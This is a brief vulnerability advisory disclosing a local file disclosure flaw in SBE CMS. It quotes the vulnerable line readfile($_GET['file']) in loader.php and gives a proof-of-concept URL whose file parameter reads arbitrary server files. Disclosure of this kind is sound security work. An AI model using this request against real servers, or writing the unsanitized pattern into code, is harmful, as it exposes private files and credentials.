[-] Title : SBE CMS < Local File Disclosure [-] Author : Shahab Shamsi [-] Software Link : https://github.com/zackgilbert/SBE-CMS [-] Version: N/A [-] Tested on : [ Windows ] [-] Category : Webapps [-] Date : 2017 05 July =========== Vulnerable page : =========== /loader.php ========== Vulnerable Code : ========== Line 110 : readfile($_GET['file']); ========== POC URL: ========== http://localhost:8080/SBE-CMS/loader.php?file=[LFD] ========= Contact Me : Telegram : @Shahab_Shamsi Email : info@securityman.org WebSilte : WwW.iran123.Org